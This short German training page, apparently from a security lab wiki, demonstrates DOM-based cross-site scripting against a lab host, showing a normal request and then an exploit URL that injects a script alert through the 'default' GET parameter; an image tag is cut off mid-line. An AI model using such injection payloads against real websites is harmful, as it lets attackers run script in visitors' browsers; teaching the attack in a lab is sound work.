Cross-Site-Scripting "DOM-basiertes" Beispiele

Um was geht es?

• DOM-basiertes Cross-Site-Scripting/XSS

Link

• http://opfer.secure.local/scripts/xss-dom.html

Normale Verhaltensweise

• Über den GET-Parameter default wird der Inhalt dieser Seite generiert
• http://opfer.secure.local/scripts/xss-dom.html?default=Bitte%20auf%20dieser%20Seite%20JavaScript%20ausschalten

[[Bild:

Exploit über die URL

• http://opfer.secure.local/scripts/xss-dom.html?default=<script>alert("Hacked by Xinux")<script>